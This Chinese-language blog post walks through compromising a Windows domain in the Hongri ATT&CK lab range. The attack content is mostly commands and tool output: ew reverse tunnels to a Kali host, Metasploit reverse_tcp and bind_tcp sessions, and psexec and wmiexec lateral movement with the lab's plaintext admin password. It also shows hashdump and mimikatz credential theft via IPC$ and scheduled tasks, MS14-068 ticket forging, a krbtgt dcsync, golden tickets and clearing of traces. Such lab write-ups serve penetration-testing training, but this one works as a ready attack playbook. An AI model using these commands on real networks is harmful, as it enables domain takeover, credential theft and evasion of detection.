由淺入深的域滲透系列一(下)

2021-02-07 重生信息安全
註:本系列以紅日安全的ATT&CK(一)靶場展開篇幅略長,閱讀需耐心。本章節涉及到的知識點

ew穿透

使用nbtscan掃描主機

cs和msf聯動MSF添加路由進行內網滲透利用WMIEXEC橫向移動利用cobaltstrike橫向移動token竊取利用msf進行hash傳遞利用計劃任務獲取機器權限黃金票據


內網穿透

kali上執行

./ew_for_linux64 -s rcsocks -l 1080 -e 112

肉雞上執行

ew_for_Win.exe -s rssocks -d 192.168.33.3 -e 112


之後配置proxychains



vim /etc/proxychains.conf


msf自帶的代理

配置proxychains

內網掃描

使用cs的掃描模塊對192.168.52.0/24進行掃描

發現機器

使用lodan掃描內網



Ladon 192.168.52.0/24 OnlinePC

Ladon 192.168.52.0/24 oSscan


使用nbtscan掃描主機



C:\Users\Administrator\Downloads>nbt.exe 192.168.52.0/24
nbt.exe 192.168.52.0/24
192.168.52.1 WORKGROUP\DESKTOP-SVDB0O0 SHARING
192.168.52.138 GOD\OWA SHARING DC
192.168.52.141 GOD\ROOT-TVI862UBEH SHARING ?
192.168.52.143 GOD\STU1 SHARING
*timeout (normal end of scan)


cs和msf聯動

Cobalt strike 派生 shell 給 MSF

首先msf創建監聽



msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.33.3
msf exploit(handler) > set lport 6666
msf exploit(handler) > exploit -j

之後在cs上

創建監聽

成功接收到會話

如果需要連接3389可開啟3389埠



REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

或者關閉防火牆



run post/windows/manage/enable_rdp

MSF添加路由進行內網滲透

查看當前網段




添加路由



run autoroute -s 192.168.52.0/24




橫向移動

psexec

直接kllist看到當前存在憑證

-accepteula初次打開會出現一堆信息,添加這個命令不會出現一堆信息



PsExec.exe -accepteula \\owa.god.org cmdPsExec.exe \\owa.god.org -u god\Administrator -p hongrisec@2019: cmd.exePsExec.exe \\192.168.52.138 -u god\Administrator -p hongrisec@2019: -s cmd /c "quser"



利用WMIEXEC橫向移動

wmiexec是psexec的升級版,比較好用



cscript.exe wmiexec.vbs /cmd 192.168.52.138 god\Administrator hongrisec@2019: "ipconfig"        單條命令模式cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 god\Administrator hongrisec@2019:        半交互模式



利cobaltstrike橫向移動

因為192.168.52.0/24段不能直接連接到192.168.33.3(kali地址),所以需要CS派生smb beacon。讓內網的主機連接到win7上。

SMB Beacon使用命名管道通過父級Beacon進行通訊,當兩個Beacons連結後,子Beacon從父Beacon獲取到任務並發送。因為連結的Beacons使用Windows命名管道進行通信,此流量封裝在SMB協議中,所以SMB Beacon相對隱蔽,繞防火牆時可能發揮奇效。

首先

利用cs的派生會話

得到一個派生的會話


hash傳遞

拿到域內所有機器

或者利用token竊取


成功拿到伺服器

利用msf進行hash傳遞

添加路由



run autoroute -s 192.168.52.0/24

利用getsystem提權

獲取hash

run post/windows/gather/hashdumpmeterpreter > getsystem...Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

利用msf直接獲取meterpreter 

使用正向連接


sf5 exploit(windows/smb/psexec) > use exploit/windows/smb/psexec    

msf5 exploit(windows/smb/psexec) > show options

set payload windows/meterpreter/bind_tcp



Module options (exploit/windows/smb/psexec):



Name Current Setting Required Description

---- --- -

RHOSTS 192.168.52.141 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

RPORT 445 yes The SMB service port (TCP)

SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing

SERVICE_DISPLAY_NAME no The service display name

SERVICE_NAME no The service name

SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share

SMBDomain god no The Windows domain to use for authentication

SMBPass hongrisec@2019: no The password for the specified username

SMBUser Administrator no The username to authenticate as





Payload options (windows/meterpreter/bind_tcp):



Name Current Setting Required Description

---- --- -

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)

LPORT 9912 yes The listen port

RHOST 192.168.52.141 no The target address





Exploit target:



Id Name

-- ----

0 Automatic


msf5 exploit(windows/smb/psexec) > set RHOST 192.168.52.141

RHOST => 192.168.52.141

msf5 exploit(windows/smb/psexec) > exploit



[*] 192.168.52.141:445 - Connecting to the server...

[*] 192.168.52.141:445 - Authenticating to 192.168.52.141:445|god as user 'Administrator'...

[*] 192.168.52.141:445 - Selecting native target

[*] 192.168.52.141:445 - Uploading payload... NdNRbMHz.exe

[*] 192.168.52.141:445 - Created \NdNRbMHz.exe...

[+] 192.168.52.141:445 - Service started successfully...

[*] 192.168.52.141:445 - Deleting \NdNRbMHz.exe...

[*] Started bind TCP handler against 192.168.52.141:9912

[*] Sending stage (180291 bytes) to 192.168.52.141

[*] Meterpreter session 2 opened (192.168.33.3-192.168.33.5:0 -> 192.168.52.141:9912) at 2020-05-22 14:12:38 +0800



meterpreter >


利用msf的psexec執行命令


use auxiliary/admin/smb/psexec_command

msf5 auxiliary(admin/smb/psexec_command) > set RHOSTS 192.168.52.138 ip

RHOSTS => 192.168.52.138

msf5 auxiliary(admin/smb/psexec_command) > set SMBDOMAIN god 域名 god/Administrator

SMBDOMAIN => god

msf5 auxiliary(admin/smb/psexec_command) > set SMBUSER Administrator 域用戶

SMBUSER => Administrator

msf5 auxiliary(admin/smb/psexec_command) > set SMBPASS hongrisec@2019: 密碼 或者hash

SMBPASS => hongrisec@2019:

msf5 auxiliary(admin/smb/psexec_command) > set COMMAND ipconfig 命令

COMMAND => ipconfig

msf5 auxiliary(admin/smb/psexec_command) > exploit



[+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable...

[*] 192.168.52.138:445 - checking if the file is unlocked

[*] 192.168.52.138:445 - Getting the command output...

[*] 192.168.52.138:445 - Executing cleanup...

[+] 192.168.52.138:445 - Cleanup was successful

[+] 192.168.52.138:445 - Command completed successfully!

[*] 192.168.52.138:445 - Output for "ipconfig":





Windows IP ����





���������� ��������:



�����ض��� DNS ��׺ . . . . . . . :

�������� IPv6 ��. . . . . . . . : fe80::482e:ddf9:ce9f:4854%11

IPv4 �� . . . . . . . . . . . . : 192.168.52.138

�������� . . . . . . . . . . . . : 255.255.255.0

Ĭ������. . . . . . . . . . . . . : 192.168.52.2



���������� isatap.{D7C92CB6-1939-46AC-85CE-50401CEC5056}:



ý��״ . . . . . . . . . . . . : ý���ѶϿ�

�����ض��� DNS ��׺ . . . . . . . :





[*] 192.168.52.138:445 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

利用IPC入侵

建立ipc連接


n

et use \\192.168.52.138\ipc$ "hongrisec@2019:" /user:god\Administrator



C:\Windows\system32>dir \\192.168.52.138\c$

dir \\192.168.52.138\c$

Volume in drive \\192.168.52.138\c$ has no label.

Volume Serial Number is 1E4D-1970



Directory of \\192.168.52.138\c$



19/10/13 13:06 <DIR> ExchangeSetupLogs

19/08/24 21:55 <DIR> inetpub

09/07/14 11:20 <DIR> PerfLogs

19/08/24 21:34 <DIR> Program Files

19/08/24 21:34 <DIR> Program Files (x86)

19/10/13 18:01 <DIR> redis

20/05/14 22:11 <DIR> Users

20/05/22 13:41 <DIR> Windows

0 File(s) 0 bytes

8 Dir(s) 13,964,476,416 bytes free



C:\Windows\system32>


查看目標機器運行的進程

C:\Users\Administrator\Downloads>tasklist /S 192.168.52.138 /U god\Administrator /P hongrisec@2019:

利用計劃任務獲取機器權限

查看時間目標機器時間


C:\Windows\system32>net time \\192.168.52.138

net time \\192.168.52.138

Current time at \\192.168.52.138 is 2020/5/22 17:12:03



The command completed successfully.





C:\Windows\system32>




copy mimikatz.exe \\192.168.52.138\c$

copy mimidrv.sys \\192.168.52.138\c$

copy mimilib.dll \\192.168.52.138\c$

at \\192.168.52.138 17:29:00 C:\mimi.bat

mimi.bat的內容為


c:\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit>1.txtcopy mimikatz_x64.exe \\192.168.52.138\c$

計劃任務執行

at \\192.168.52.138 17:54:00 cmd.exe /c "C:\mimikatz_x64.exe>1.txt"



清除痕跡


#清除at記錄

at \\192.168.1.1 ID /deletenet use 遠程名稱 /del /y


ms14-068

Benjamin Delpy(mimikatz的作者)寫了一個MS14-068的利用工具,叫Kekeo,是PyKEk的升級版,他能夠找到並定位有漏洞的域控,在打了補丁(KB3011780)和 2012/2012r2域控情況下仍能奏效。



在利用ms14-068漏洞之前,建議先使用 klist/purge 清除伺服器端緩存的 Kerberos 憑據,且使用域控地址不使用IP.



.獲取域用戶的SID


SID(安全標識符),是為域或本地計算機中創建每個帳戶所分配的唯一ID字符串。

whoami /all

S-1-5-21-2952760202-1353902439-2381784089-500

輸入klist查看票據

如果有就輸入klist purge清除

ms14-068.exe  -u Administrator@god.org  -p "hongrisec@2019:" -s S-1-5-21-2952760202-1353902439-2381784089-500 -d owa.god.org-u 域用戶@域名-s 域用戶SID-d 域控制器地址-p 域成員密碼

可以發現得到一個票據

注入內存

再使用mimikatz將票據(TGT)注入到當前內存中,來偽造kerberos協議認證證書。

kerberos::purge         kerberos::list          kerberos::ptc TGT_Administrator@god.org.ccache   kerberos::ptt TGT_Administrator@god.org.kirbi

依然是使用ms14-068生成一個票據。
執行命令後會在當前目錄生成.ccache 的文件
然後使用 KrbCredExport 將 .ccache文件轉化為kirbi格式,也就是user.ticket

https://github.com/rvazarkar/KrbCredExport

python KrbCredExport.py TGT_tidetest@tide.org.ccache user.ticket



現在使用kekeo版

輸入klist查看票據

如果有就輸入klist purge清除

kekeo.exe /domain:god.org /user:Adminstrator /password:hongrisec@2019:/ /ptt

黃金票據

首先

可以直接使用mimikatz獲取krbtgt的hash


privilege::debug
mimikatz log
mimikatz # lsadump::dcsync /domain:god.org /user:krbtgt
[DC] 'god.org' will be the domain
[DC] 'owa.god.org' will be the DC server
[DC] 'krbtgt' will be the user account

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 2019/8/24 21:44:23
Object Security ID : S-1-5-21-2952760202-1353902439-2381784089-502
Object Relative ID : 502

Credentials:
Hash NTLM: 58e91a5ac358d86513ab224312314061
ntlm- 0: 58e91a5ac358d86513ab224312314061
lm - 0: a151f0fbafab56da67864278a60a75e8

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : GOD.ORGkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : a780c2c18b3287e3448562a36dccb2d57d11fd398b55ce2
cd9b128308cef74df
aes128_hmac (4096) : 2e35721544960f553afcba54252d7b13
des_cbc_md5 (4096) : 8cc1019b7ccd1319
rc4_plain (4096) : 58e91a5ac358d86513ab224312314061

* Primary:Kerberos *
Default Salt : GOD.ORGkrbtgt
Credentials
des_cbc_md5 : 8cc1019b7ccd1319
rc4_plain : 58e91a5ac358d86513ab224312314061

* Packages *
Kerberos-Newer-Keys

* Primary:WDigest *
01 abb457b021966fc900dc1cebd9c4d188
02 2d15787683382a038d82e156840ecb77
03 18ef670658849985036123a064571815
04 abb457b021966fc900dc1cebd9c4d188
05 2d15787683382a038d82e156840ecb77
06 7ae9071dab444ffbc1501482b8da7fcf
07 abb457b021966fc900dc1cebd9c4d188
08 e9bf3798e5576c80edb166bfdafdd619
09 e9bf3798e5576c80edb166bfdafdd619
10 5f7902c1420805e10f6cd9eec52a8ef2
11 5703bb42566a5fc66608da6d5f970edd
12 e9bf3798e5576c80edb166bfdafdd619
13 7c25bef95327fc5526d56998fd8f0559
14 5703bb42566a5fc66608da6d5f970edd
15 218957cc83eb53a3b8bbe1b224dff044
16 218957cc83eb53a3b8bbe1b224dff044
17 05a7d647bdbb4585bb7c16fdff9a134d
18 fd69eb9c15b4d06b66d64bb6654ec88c
19 016f7e4fb4d3479153aed646b3f68fff
20 579c3a2eccfb4a5ce12a6bef37168cd1
21 d6dca44013c12ed0fbb36f0f21a016ac
22 d6dca44013c12ed0fbb36f0f21a016ac
23 2eab868d52e16908d3ee3b44edf00a39
24 0b518bae8d78e8d2961e429d16f361fc
25 0b518bae8d78e8d2961e429d16f361fc
26 b2c7b7ae7e52799e7f8d71350f983583
27 786df62e1c05700ff1bfae6bad92ac76
28 16464caeecd021b600794f8f36947f86
29 eb729371fa8cc2a1e43c4c6614f60f3b


mimikatz #

有2種方法生成票據,利用aes,或者利用hash

重要的需要域的sid krbtgt的ntlm hash,和aes256_hmac

黃金票據的2種利用方法

生成黃金票據導出為文件


#  使用krbtgt的hash值:

mimikatz# kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ticket:test.kribi



# 使用krbtgt的aes256值:

mimikatz# kerberos::gloden /domain:xxx.xxx /sid:xxxxxxxxxxx /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi

利用




mimikatz::ptt test.kribi



PS C:\Users\Administrastor> klist



PS C:\Users\Administrastor> net use \\xx.domain-name

dir \\xx.domain-name\c$


生成黃金票據導入到內存


mimikatz# "kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ptt" exit
mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /aes256:<aes256_hmac> /user:<任意用戶名> /ptt" exit

#利用票據訪問 

PS C:\Users\Administrastor> net use \\xx.domain-name dir \\xx.domain-name\c$

利用PsExec 訪問

psexec  \\192.168.52.138 cmd

利用wmiexec.vbs 

cscript.exe cscript.exe wmiexec.vbs /cmd 192.168.52.138 "command"

相關焦點

  • 滲透測試內網滲透之信息收集(一)
    本系列文章為作者平時學習內網滲透中所學匯總記錄,難免會有錯誤和不當之處,有相關問題可以留言指正。
  • 2021暗月滲透測試全棧學習班
    7課01 內網滲透篇_隧道技術ssh隧道02 內網滲透篇 埠轉發與埠映射03 內網滲透篇_隧道技術socket隧道04 內網滲透篇_跨路由掃描05 內網滲透篇_常見的內網測試06 內網滲透篇_域的搭建07 內網滲透篇一次完整的域滲透第十五天 exp編寫篇8課01 注入exp的簡單編寫02 簡單注入exp編寫 python03 POST注入exp編寫04 getshell exp編寫05 需要驗證的
  • 內網滲透之命令行滲透 - 滲透紅隊筆記
    大家好,這裡是 滲透攻擊紅隊 的第 19 篇文章,本公眾號會記錄一些我學習紅隊攻擊的復現筆記(由淺到深),不出意外每天一更在內網滲透的時候,如果想要登錄遠程桌面,會容易暴露自己,所以儘可能學會使用命令行操作會在滲透實際過程中有很大的幫助
  • 2020暗月滲透測試全棧學習班
    7課01 內網滲透篇_隧道技術ssh隧道02 內網滲透篇 埠轉發與埠映射03 內網滲透篇_隧道技術socket隧道04 內網滲透篇_跨路由掃描05 內網滲透篇_常見的內網測試06 內網滲透篇_域的搭建07 內網滲透篇一次完整的域滲透第十五天 exp編寫篇8課01 注入exp的簡單編寫02 簡單注入exp編寫 python03 POST注入exp編寫04 getshell exp編寫05 需要驗證的
  • 手把手教你入門內網滲透之一
    在文章中我將儘可能把內容描述的通俗易懂一些,因為目前網上關於內網安全的文章不多也不少,但是對於新手來說都不怎麼友好,我在一開始學習的時候也遇到了許多困難,所以我想盡我所能的讓讀者能夠理解內網安全以及一系列的滲透過程。
  • PowerView 滲透測試工具使用方法Part.1
    這個系列文章的目的是為了演示如何使用PowerView來解決有趣的問題以及我們在每個解決方案背後的思考過程。PowerView不是一個固有的「攻擊性」或「防禦性」的工具集,它是一個幫助解決Active Directory安全問題的工具,無論是黑是白。本系列中的所有內容都將基於真實的滲透測試場景,每篇文章將至少介紹一個PowerView功能。
  • 【RASA系列】對話管理(一)訓練數據與域定義
    一、StoriesRasa Stories是一種以特定形式存儲的訓練數據,用來訓練Rasa的對話管理模型。Stories是用戶和智能助手之間的對話表示,存儲為特定的格式,其中用戶輸入表示為相應的意圖(和必要的實體),而智能助手的響應表示為相應的動作名稱。Rasa對話系統的一個訓練示例稱為一個story。
  • 內網安全攻防之內網滲透測試基礎
    在這種模式下,虛擬機相當於區域網中的一臺獨立機器,和主機處於同一個網段,共用同一個網關。橋接模式使用的是虛擬機的VMnet0網卡,一般情況下,在虛擬機中將網絡設置成自動獲取IP就能直接聯網。示意圖如下:
  • ATT&CK紅隊評估二套靶場滲透記錄
    本次針對第二套靶場進行搭建、環境配置,以及根據滲透測試流程進行滲透,從web應用程式到內網拿下主機,將整個滲透過程記錄下來分享給大家。一/環境搭建1.1 網絡拓撲圖構建1.2 IP配置攻擊機:kali LinuxNAT模式192.168.85.139(外)**************************************(開機默認密碼:1qaz@WSX)WEB伺服器:Windows server 2008 NAT
  • 滲透測試學習書籍推薦
    該書內容符合「Web安全」的主題,沒有過多涉及其他領域的知識,相對比較專一,深度和廣度適中,有一定的原理講解,算是由淺入深了。         該書雖比《Web安全攻防:滲透測試實戰指南》少了56頁,但是就Web滲透的內容來說會更加深入、細緻,適合有一定計算機基礎的人閱讀學習。
  • Active Directory滲透測試典型案例(1)
    原作者知識星球:----0x01 前言我有幾個客戶在滲透測試之前來找我,說他們的系統安全做得非常好,因為他們的漏洞掃描顯示沒有嚴重的漏洞並且已準備好進行安全測試,這使我在15分鐘內利用AD中的錯誤配置獲得了域管理員權限。我在滲透測試領域看到的一個教育缺陷是當前涉及滲透Active Directory(AD)方面缺乏知識。
  • 在午餐前獲取內部網絡域管理員的五大方法
    是的,與我剛開始進行滲透測試時一樣,在「午餐前」獲得Domain Admin仍然是很容易的事情。早在2013年9月,SpiderLabs就撰寫了一篇題為「 SpiderLabs在您的內部網絡上獲得域管理員的五大方法」的文章。本文是為向原文致敬,並續寫一個非官方的「第二部分」。
  • 內網滲透學習-信息收集篇
    介紹當我們通過滲透進入內網環境後
  • 內網滲透|ATT&CK紅隊評估實戰靶場-2
    ,通過收集的信息已經確定了域控ip,和大致能描繪出內網基本拓撲圖,如上期所說,此靶場難度為易,非常適合練習內網滲透各種姿勢!0x01:橫向移動開始整活一開始通過VM1的phpmyadmin日誌寫馬獲取到了蟻劍shell,上傳木馬進行CS上線進程注入提權為system權限右鍵視圖中第一個會話選擇執行-
  • 技術乾貨 | 內網滲透學習-信息收集篇
    介紹當我們通過滲透進入內網環境後,面對的是一片未知區域。
  • Golang陷阱與缺陷:作用域
    我打算試著寫一些《Golang陷阱與缺陷》系列的文章,以彌補公眾號簡介中「左手代碼」的不足。
  • 溝域裡,闢出一片新天地
    春天的河洛鄉村,五彩斑斕,美景如畫——  在宜陽縣香鹿山鎮,空氣中帶著「麻麻」的味道,溝嶺之間是中原最大的花椒基地,面積5.5萬畝延綿21公裡;在新安縣磁五倉公路沿線,7萬多畝的櫻桃谷,處處是甜甜的果子、甜甜的笑容;在欒川撥雲嶺,中午時分空氣中縈繞著手擀麵的香味,一大碗下肚
  • 滲透Hacking Team過程!
    現在我已經進入內網了,我想看到處看一下,並決定我下一步的工作。把Responder.py切換到分析模式(-A),然後用Nmap慢慢的掃著先。          NoSQL,這種無需認證的資料庫對我來說簡直就是天賜良機。當我還在擔心無法通過MySQL繼續下去的時候,這些缺乏認證的資料庫出現了。
  • 滲透測試常規操作記錄(下)
    Copy-VSS.ps1Meterpreter>powershell_execute Copy-VSSMimikatzMSF#use auxiliary/admin/smb/psexec_ntdsgrab#set rhost smbdomain smbuser smbpass#exploitNtds.dit文件存在/root/.msf4/loot後滲透模塊
  • 利用 Exchange SSRF 漏洞和 NTLM 中繼淪陷域控
    [1] 的文章(中文翻譯[2]),讓我眼前一亮,後來又在微博看到有大佬復現了這個漏洞,於是我也決定試試。上文中的漏洞利用思路按照我的理解可以匯總成一句話就是:在Exchange 在域內具有高權限的前提下條件下,利用 Exchange 的跨站請求偽造漏洞進行 NTLM 中繼攻擊,修改域 ACL 使普通用戶具有域管理員同等級別的權限這篇文章的利用手法和其他網上很多方法不同的點在於,對 SSRF 漏洞進一步利用達到了拿到域控的目的,